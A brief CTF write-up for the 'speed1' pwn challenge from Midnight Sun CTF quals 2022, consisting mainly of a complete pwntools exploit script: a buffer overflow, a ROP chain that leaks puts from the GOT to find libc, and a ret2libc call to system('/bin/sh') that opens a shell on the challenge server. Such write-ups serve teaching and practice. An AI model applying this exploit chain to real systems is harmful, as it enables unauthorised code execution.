Tags: pwn
Rating:
The original writeup for speed1 can be found at [https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1](https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1)
We used a two stage payload. First stage finds out the address of puts via GOT. We calculate the address for the system-function and the second stage delivers the ret2libc-payload
```
#!/usr/bin/env python3
import os
from pwn import *
import pwnlib.elf
context.log_level = 'debug'
c = remote('speed-01.hfsc.tf',61000)
#c = process('./speed1')
# break: 0x40124d
# c = gdb.debug(['./speed1'], gdbscript='''
# b *0x40124d
# c
# ''')
libc = ELF('libc.so.6')
e = ELF('./speed1')
context.binary = e
context.os = 'linux'
context.arch = 'amd64'
rop = ROP(e)
c.recvuntil('b0fz:')
# padding for buffer overflow
rop.raw("A" * 40)
rop.puts(e.got['puts'])
rop.call(0x4010d0) # address of main/entrypoint
print(rop.dump())
info("Stage 1, leaking puts@libc address")
c.sendline(rop.chain())
leakedPuts = c.recvline()[:8].strip()
leakedPuts = int.from_bytes(leakedPuts, byteorder='little')
success(f'Leaked puts: {leakedPuts:x}')
libc.address = leakedPuts - libc.symbols['puts']
info(f"Libc Address: {libc.address:x}")
info("Stage 2, ret2shell")
c.recvuntil('b0fz:')
rop2 = ROP(libc)
rop2.call(rop.find_gadget(['ret']))
rop2.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])
padding = (b"A"*40)
payload = b"".join([padding, rop2.chain()])
c.sendline(payload)
c.interactive()
```